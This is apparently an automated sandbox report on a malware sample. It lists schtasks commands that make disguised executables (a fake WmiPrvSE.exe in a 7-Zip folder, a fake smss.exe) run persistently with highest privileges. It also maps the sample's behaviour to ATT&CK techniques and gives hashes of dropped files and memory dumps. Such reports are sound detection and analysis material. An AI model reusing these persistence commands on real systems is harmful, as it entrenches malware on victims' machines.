C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smsss" /sc MINUTE /mo 12 /tr "'C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\smss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3208

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 14 /tr "'C:\Program Files\7-Zip\Lang\WmiPrvSE.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4320

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Program Files\7-Zip\Lang\WmiPrvSE.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2740

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 12 /tr "'C:\Program Files\7-Zip\Lang\WmiPrvSE.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4316

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Scripting

T1064

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Bypass User Account Control

T1088

Scheduled Task

T1053

Defense Evasion

Bypass User Account Control

T1088

Disabling Security Tools

T1089

Modify Registry

T1112

Scripting

T1064

Credential Access

Credentials in Files

T1081

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Google.exe.log
Filesize
1KB

MD5
9988ec4e75bff9dc242bc8f7dabd2180

SHA1
3f2d6e9b6e7c06912e6338c523ee5079d921e1b6

SHA256
963aa9ecd8590e44e9a0c949b9a6ae80b13bba08455f23dbd34c16248ab0ef39

SHA512
b6dca833af0f1e2ec8a2a4308930f0e7d3afcca504c67d86b28ffa8ee4a9b27956559d71f7d3acef2a8c62e946ad847e9d9661e567aab3dd20119b6304673e61

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\taskhostw.exe.log
Filesize
1KB

MD5
9988ec4e75bff9dc242bc8f7dabd2180

SHA1
3f2d6e9b6e7c06912e6338c523ee5079d921e1b6

SHA256
963aa9ecd8590e44e9a0c949b9a6ae80b13bba08455f23dbd34c16248ab0ef39

SHA512
b6dca833af0f1e2ec8a2a4308930f0e7d3afcca504c67d86b28ffa8ee4a9b27956559d71f7d3acef2a8c62e946ad847e9d9661e567aab3dd20119b6304673e61

Download Submit
C:\Users\Admin\AppData\Local\Temp\AIoLeH13L6.bat
Filesize
194B

MD5
4fdbe9c0d3362a85921c1b4a085682cb

SHA1
480afacffc6827c34fad95f4f83b8b029fe194a0

SHA256
464043e206209ef5e59c91b84229ea310ba3a92fe3d326a92ea326f0bd8da846

SHA512
181baf4e9f5201326efa833554ffa63c5405c813f7dd52a92f117f8cd5505175318c663ce090b9dd67c842a35de687c770fa163ec0a51949649dec44d66f8199

Download Submit
C:\Users\Admin\AppData\Local\Temp\Google.exe
Filesize
6KB

MD5
85cdcc9411301b100bef819197124f97

SHA1
3bb6a403e1ca7217d423f45db24412c87d74a9bf

SHA256
fe3592daf199ad2b458ecd1493e597cd5602f34b4cdd54c32aa942bf3cce07f9

SHA512
ca2120be782da087976c19857495e13cbdc9fc78bcdc28efa422ae87c85c7c89ea6b1c3878527a66970a47e08595ead61f3cd95deb62e1c1fda9a78c6a4ae432

Download Submit
C:\Users\Admin\AppData\Local\Temp\Google.exe
Filesize
6KB

MD5
85cdcc9411301b100bef819197124f97

SHA1
3bb6a403e1ca7217d423f45db24412c87d74a9bf

SHA256
fe3592daf199ad2b458ecd1493e597cd5602f34b4cdd54c32aa942bf3cce07f9

SHA512
ca2120be782da087976c19857495e13cbdc9fc78bcdc28efa422ae87c85c7c89ea6b1c3878527a66970a47e08595ead61f3cd95deb62e1c1fda9a78c6a4ae432

Download Submit
C:\Users\Admin\AppData\Local\Temp\Google.exe
Filesize
6KB

MD5
85cdcc9411301b100bef819197124f97

SHA1
3bb6a403e1ca7217d423f45db24412c87d74a9bf

SHA256
fe3592daf199ad2b458ecd1493e597cd5602f34b4cdd54c32aa942bf3cce07f9

SHA512
ca2120be782da087976c19857495e13cbdc9fc78bcdc28efa422ae87c85c7c89ea6b1c3878527a66970a47e08595ead61f3cd95deb62e1c1fda9a78c6a4ae432

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\DRIVER~1.EXE
Filesize
555.0MB

MD5
02100eef889156331406136e33e6eadb

SHA1
01c6a7d2297125fa6f29fbfd664ced52066285af

SHA256
8c1a9759c7485875c7de40c39aa1ab55a10861f840d1c203f628c804105c81d0

SHA512
68a44d31cec5d48adb4c5901ad0f4ce19b67483dac785a81a231b20372c96522fbee4b0b7496d5c6e7885f1fada77fb2f42e62fb5be1fd5eaef5df7ccfa60717

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\DRIVER~1.EXE
Filesize
555.0MB

MD5
02100eef889156331406136e33e6eadb

SHA1
01c6a7d2297125fa6f29fbfd664ced52066285af

SHA256
8c1a9759c7485875c7de40c39aa1ab55a10861f840d1c203f628c804105c81d0

SHA512
68a44d31cec5d48adb4c5901ad0f4ce19b67483dac785a81a231b20372c96522fbee4b0b7496d5c6e7885f1fada77fb2f42e62fb5be1fd5eaef5df7ccfa60717

Download Submit
C:\Users\Admin\AppData\Local\Temp\Uvanbyzkrfrqlyclqqnvwd.bat
Filesize
3KB

MD5
b28f892a01566653f623b7558679e817

SHA1
33a78ff78e2578fc4871a6ceec8577cdc6a74059

SHA256
9f2e17eb905b3175b3fc498c168e670fb0a9c9d40def78b4569bc22114887434

SHA512
85eae954fff0ce8a2f9f71a41aa37fd0304b4700144e301b31b10d3300f8e63ca0e5759c58367b4b09569f0760d1dd034ad239529e9c882399fa44f98e58913e

Download Submit
C:\Users\Admin\AppData\Local\Temp\meme.exe
Filesize
217KB

MD5
3a81ce93efc5337676301df4e026964d

SHA1
119723ff25927ce695c1d72d2726afe238573131

SHA256
3bfdbfde4632bcea57f4993724737f08d96a199bf96496828a8657f51371aab0

SHA512
659de5c6e8362b1d0a52f8237ac1ca5b35404b4423b84ca90a8bbac9b9c59d75f1d4f5c245ec1c351595792edb233f91009c0666322d12d0fac331a7cbad3662

Download Submit
C:\Users\Admin\AppData\Local\Temp\meme.exe
Filesize
217KB

MD5
3a81ce93efc5337676301df4e026964d

SHA1
119723ff25927ce695c1d72d2726afe238573131

SHA256
3bfdbfde4632bcea57f4993724737f08d96a199bf96496828a8657f51371aab0

SHA512
659de5c6e8362b1d0a52f8237ac1ca5b35404b4423b84ca90a8bbac9b9c59d75f1d4f5c245ec1c351595792edb233f91009c0666322d12d0fac331a7cbad3662

Download Submit
C:\Users\Public\taskhostw.exe
Filesize
6KB

MD5
85cdcc9411301b100bef819197124f97

SHA1
3bb6a403e1ca7217d423f45db24412c87d74a9bf

SHA256
fe3592daf199ad2b458ecd1493e597cd5602f34b4cdd54c32aa942bf3cce07f9

SHA512
ca2120be782da087976c19857495e13cbdc9fc78bcdc28efa422ae87c85c7c89ea6b1c3878527a66970a47e08595ead61f3cd95deb62e1c1fda9a78c6a4ae432

Download Submit
C:\Users\Public\taskhostw.exe
Filesize
6KB

MD5
85cdcc9411301b100bef819197124f97

SHA1
3bb6a403e1ca7217d423f45db24412c87d74a9bf

SHA256
fe3592daf199ad2b458ecd1493e597cd5602f34b4cdd54c32aa942bf3cce07f9

SHA512
ca2120be782da087976c19857495e13cbdc9fc78bcdc28efa422ae87c85c7c89ea6b1c3878527a66970a47e08595ead61f3cd95deb62e1c1fda9a78c6a4ae432

Download Submit
C:\Users\Public\taskhostw.exe
Filesize
6KB

MD5
85cdcc9411301b100bef819197124f97

SHA1
3bb6a403e1ca7217d423f45db24412c87d74a9bf

SHA256
fe3592daf199ad2b458ecd1493e597cd5602f34b4cdd54c32aa942bf3cce07f9

SHA512
ca2120be782da087976c19857495e13cbdc9fc78bcdc28efa422ae87c85c7c89ea6b1c3878527a66970a47e08595ead61f3cd95deb62e1c1fda9a78c6a4ae432

Download Submit
memory/192-1128-0x0000000000000000-mapping.dmp

Download
memory/356-846-0x0000000000000000-mapping.dmp

Download
memory/428-1090-0x0000000000000000-mapping.dmp

Download
memory/644-891-0x0000000000000000-mapping.dmp

Download
memory/812-820-0x0000000000000000-mapping.dmp

Download
memory/996-1127-0x0000000000000000-mapping.dmp

Download
memory/1276-1107-0x0000000000000000-mapping.dmp

Download
memory/1684-1265-0x0000000000000000-mapping.dmp

Download
memory/1836-1146-0x0000000000000000-mapping.dmp

Download
memory/2040-1226-0x0000000000000000-mapping.dmp

Download
memory/2196-658-0x0000000000000000-mapping.dmp

Download
memory/2196-698-0x0000000000010000-0x0000000000018000-memory.dmp

Filesize
32KB

Download
memory/2196-737-0x0000000006290000-0x00000000064C4000-memory.dmp

Filesize
2.2MB

Download
memory/2196-738-0x0000000006600000-0x0000000006622000-memory.dmp

Filesize
136KB

Download
memory/2196-740-0x0000000006740000-0x0000000006A90000-memory.dmp

Filesize
3.3MB

Download
memory/2200-1182-0x0000000000000000-mapping.dmp

Download
memory/2204-878-0x0000000000000000-mapping.dmp

Download
memory/2372-917-0x0000000000000000-mapping.dmp

Download
memory/2492-1164-0x0000000000000000-mapping.dmp

Download
memory/2712-1317-0x0000000000000000-mapping.dmp

Download
memory/2796-904-0x0000000000000000-mapping.dmp

Download
memory/2980-1016-0x0000000000000000-mapping.dmp

Download
memory/3164-1409-0x0000000000461CEE-mapping.dmp

Download
memory/3316-865-0x0000000000000000-mapping.dmp

Download
memory/3476-1252-0x0000000000000000-mapping.dmp

Download
memory/3508-977-0x0000000000000000-mapping.dmp

Download
memory/3592-990-0x0000000000000000-mapping.dmp

Download
memory/3792-1200-0x0000000000000000-mapping.dmp

Download
memory/4000-1055-0x0000000000000000-mapping.dmp

Download
memory/4032-814-0x0000000000400000-0x0000000000466000-memory.dmp

Filesize
408KB

Download
memory/4032-859-0x00000000027B0000-0x00000000027BE000-memory.dmp

Filesize
56KB

Download
memory/4032-758-0x0000000000461CEE-mapping.dmp

Download
memory/4072-930-0x0000000000000000-mapping.dmp

Download
memory/4104-202-0x0000000077C70000-0x0000000077DFE000-memory.dmp

Filesize
1.6MB

Download
memory/4104-234-0x0000000009280000-0x000000000938A000-memory.dmp

Filesize
1.0MB

Download
memory/4104-1291-0x0000000000000000-mapping.dmp

Download
memory/4104-177-0x0000000077C70000-0x0000000077DFE000-memory.dmp

Filesize
1.6MB

Download
memory/4104-181-0x0000000077C70000-0x0000000077DFE000-memory.dmp

Filesize
1.6MB

Download
memory/4104-175-0x0000000077C70000-0x0000000077DFE000-memory.dmp

Filesize
1.6MB

Download
memory/4104-179-0x0000000077C70000-0x0000000077DFE000-memory.dmp

Filesize
1.6MB

Download
memory/4104-169-0x0000000000400000-0x0000000000428000-memory.dmp

Filesize
160KB

Download
memory/4104-176-0x0000000077C70000-0x0000000077DFE000-memory.dmp

Filesize
1.6MB

Download
memory/4104-184-0x0000000077C70000-0x0000000077DFE000-memory.dmp

Filesize
1.6MB

Download
memory/4104-185-0x0000000077C70000-0x0000000077DFE000-memory.dmp

Filesize
1.6MB

Download
memory/4104-187-0x0000000077C70000-0x0000000077DFE000-memory.dmp

Filesize
1.6MB

Download
memory/4104-188-0x0000000077C70000-0x0000000077DFE000-memory.dmp

Filesize
1.6MB

Download
memory/4104-189-0x0000000077C70000-0x0000000077DFE000-memory.dmp

Filesize
1.6MB

Download
memory/4104-191-0x0000000077C70000-0x0000000077DFE000-memory.dmp

Filesize
1.6MB

Download
memory/4104-192-0x0000000077C70000-0x0000000077DFE000-memory.dmp

Filesize
1.6MB

Download
memory/4104-193-0x0000000077C70000-0x0000000077DFE000-memory.dmp

Filesize
1.6MB

Download
memory/4104-190-0x0000000077C70000-0x0000000077DFE000-memory.dmp

Filesize
1.6MB

Download
memory/4104-194-0x0000000077C70000-0x0000000077DFE000-memory.dmp

Filesize
1.6MB

Download
memory/4104-195-0x0000000077C70000-0x0000000077DFE000-memory.dmp

Filesize
1.6MB

Download
memory/4104-196-0x0000000077C70000-0x0000000077DFE000-memory.dmp

Filesize
1.6MB

Download
memory/4104-197-0x0000000077C70000-0x0000000077DFE000-memory.dmp

Filesize
1.6MB

Download
memory/4104-198-0x0000000077C70000-0x0000000077DFE000-memory.dmp

Filesize
1.6MB

Download
memory/4104-200-0x0000000077C70000-0x0000000077DFE000-memory.dmp

Filesize
1.6MB

Download
memory/4104-201-0x0000000077C70000-0x0000000077DFE000-memory.dmp

Filesize
1.6MB

Download
memory/4104-174-0x000000000042219E-mapping.dmp

Download
memory/4104-199-0x0000000077C70000-0x0000000077DFE000-memory.dmp

Filesize
1.6MB

Download
memory/4104-203-0x0000000077C70000-0x0000000077DFE000-memory.dmp

Filesize
1.6MB

Download
memory/4104-233-0x00000000096F0000-0x0000000009CF6000-memory.dmp

Filesize
6.0MB

Download
memory/4104-622-0x000000000ACA0000-0x000000000ACF0000-memory.dmp

Filesize
320KB

Download
memory/4104-236-0x00000000091D0000-0x00000000091E2000-memory.dmp

Filesize
72KB

Download
memory/4104-238-0x0000000009230000-0x000000000926E000-memory.dmp

Filesize
248KB

Download
memory/4104-240-0x0000000009390000-0x00000000093DB000-memory.dmp

Filesize
300KB

Download
memory/4104-248-0x0000000009560000-0x00000000095F2000-memory.dmp

Filesize
584KB

Download
memory/4104-249-0x000000000A200000-0x000000000A6FE000-memory.dmp

Filesize
5.0MB

Download
memory/4104-252-0x0000000009600000-0x0000000009666000-memory.dmp

Filesize
408KB

Download
memory/4104-512-0x000000000A9D0000-0x000000000AB92000-memory.dmp

Filesize
1.8MB

Download
memory/4104-513-0x000000000B0D0000-0x000000000B5FC000-memory.dmp

Filesize
5.2MB

Download
memory/4104-621-0x000000000AC20000-0x000000000AC96000-memory.dmp

Filesize
472KB

Download
memory/4248-1029-0x0000000000000000-mapping.dmp

Download
memory/4336-1331-0x0000000000000000-mapping.dmp

Download
memory/4336-1405-0x0000000005BB0000-0x0000000005F00000-memory.dmp

Filesize
3.3MB

Download
memory/4356-752-0x0000000000000000-mapping.dmp

Download
memory/4444-964-0x0000000000000000-mapping.dmp

Download
memory/4448-1213-0x0000000000000000-mapping.dmp

Download
memory/4464-951-0x0000000000000000-mapping.dmp

Download
memory/4532-795-0x0000000000000000-mapping.dmp

Download
memory/4708-130-0x0000000000C30000-0x0000000001769000-memory.dmp

Filesize
11.2MB

Download
memory/4708-131-0x000001834AB70000-0x000001834ABC9000-memory.dmp

Filesize
356KB

Download
memory/4708-180-0x000001834AB70000-0x000001834ABC9000-memory.dmp

Filesize
356KB

Download
memory/4708-128-0x0000000000C30000-0x0000000001769000-memory.dmp

Filesize
11.2MB

Download
memory/4708-122-0x000001834AB70000-0x000001834ABC9000-memory.dmp

Filesize
356KB

Download
memory/4708-129-0x00007FF8B1AC0000-0x00007FF8B1B6E000-memory.dmp

Filesize
696KB

Download
memory/4708-178-0x0000000000C30000-0x0000000001769000-memory.dmp

Filesize
11.2MB

Download
memory/4708-132-0x00007FF8B0C40000-0x00007FF8B0CDD000-memory.dmp

Filesize
628KB

Download
memory/4708-121-0x0000000000C30000-0x0000000001769000-memory.dmp

Filesize
11.2MB

Download
memory/4708-183-0x0000000000C30000-0x0000000001769000-memory.dmp

Filesize
11.2MB

Download
memory/4708-117-0x0000000000000000-mapping.dmp

Download
memory/4756-165-0x0000000077C70000-0x0000000077DFE000-memory.dmp

Filesize
1.6MB

Download
memory/4756-139-0x0000000077C70000-0x0000000077DFE000-memory.dmp

Filesize
1.6MB

Download
memory/4756-152-0x0000000077C70000-0x0000000077DFE000-memory.dmp

Filesize
1.6MB

Download
memory/4756-151-0x0000000077C70000-0x0000000077DFE000-memory.dmp

Filesize
1.6MB

Download
memory/4756-150-0x0000000077C70000-0x0000000077DFE000-memory.dmp

Filesize
1.6MB

Download
memory/4756-154-0x0000000077C70000-0x0000000077DFE000-memory.dmp

Filesize
1.6MB

Download
memory/4756-155-0x0000000077C70000-0x0000000077DFE000-memory.dmp

Filesize
1.6MB

Download
memory/4756-149-0x0000000077C70000-0x0000000077DFE000-memory.dmp

Filesize
1.6MB

Download
memory/4756-148-0x0000000077C70000-0x0000000077DFE000-memory.dmp

Filesize
1.6MB

Download
memory/4756-159-0x0000000077C70000-0x0000000077DFE000-memory.dmp

Filesize
1.6MB

Download
memory/4756-146-0x0000000077C70000-0x0000000077DFE000-memory.dmp

Filesize
1.6MB

Download
memory/4756-156-0x0000000077C70000-0x0000000077DFE000-memory.dmp

Filesize
1.6MB

Download
memory/4756-161-0x0000000077C70000-0x0000000077DFE000-memory.dmp

Filesize
1.6MB

Download
memory/4756-147-0x0000000077C70000-0x0000000077DFE000-memory.dmp

Filesize
1.6MB

Download
memory/4756-145-0x0000000077C70000-0x0000000077DFE000-memory.dmp

Filesize
1.6MB

Download
memory/4756-144-0x0000000077C70000-0x0000000077DFE000-memory.dmp

Filesize
1.6MB

Download
memory/4756-143-0x0000000077C70000-0x0000000077DFE000-memory.dmp

Filesize
1.6MB

Download
memory/4756-141-0x0000000077C70000-0x0000000077DFE000-memory.dmp

Filesize
1.6MB

Download
memory/4756-140-0x0000000077C70000-0x0000000077DFE000-memory.dmp

Filesize
1.6MB

Download
memory/4756-153-0x0000000077C70000-0x0000000077DFE000-memory.dmp

Filesize
1.6MB

Download
memory/4756-138-0x0000000077C70000-0x0000000077DFE000-memory.dmp

Filesize
1.6MB

Download
memory/4756-137-0x0000000077C70000-0x0000000077DFE000-memory.dmp

Filesize
1.6MB

Download
memory/4756-136-0x0000000077C70000-0x0000000077DFE000-memory.dmp

Filesize
1.6MB

Download
memory/4756-157-0x0000000077C70000-0x0000000077DFE000-memory.dmp

Filesize
1.6MB

Download
memory/4756-135-0x0000000077C70000-0x0000000077DFE000-memory.dmp

Filesize
1.6MB

Download
memory/4756-164-0x0000000077C70000-0x0000000077DFE000-memory.dmp

Filesize
1.6MB

Download
memory/4756-133-0x0000000000000000-mapping.dmp

Download
memory/4756-158-0x0000000077C70000-0x0000000077DFE000-memory.dmp

Filesize
1.6MB

Download
memory/4756-167-0x0000000077C70000-0x0000000077DFE000-memory.dmp

Filesize
1.6MB

Download
memory/4756-160-0x0000000077C70000-0x0000000077DFE000-memory.dmp

Filesize
1.6MB

Download
memory/4756-168-0x0000000077C70000-0x0000000077DFE000-memory.dmp

Filesize
1.6MB

Download
memory/4756-162-0x0000000077C70000-0x0000000077DFE000-memory.dmp

Filesize
1.6MB

Download
memory/4756-163-0x0000000077C70000-0x0000000077DFE000-memory.dmp

Filesize
1.6MB

Download
memory/4756-166-0x0000000077C70000-0x0000000077DFE000-memory.dmp

Filesize
1.6MB

Download
memory/4892-1278-0x0000000000000000-mapping.dmp

Download
memory/4904-1304-0x0000000000000000-mapping.dmp

Download
memory/4916-1003-0x0000000000000000-mapping.dmp

Download
memory/5092-1239-0x0000000000000000-mapping.dmp

Download
memory/5104-1042-0x0000000000000000-mapping.dmp

Download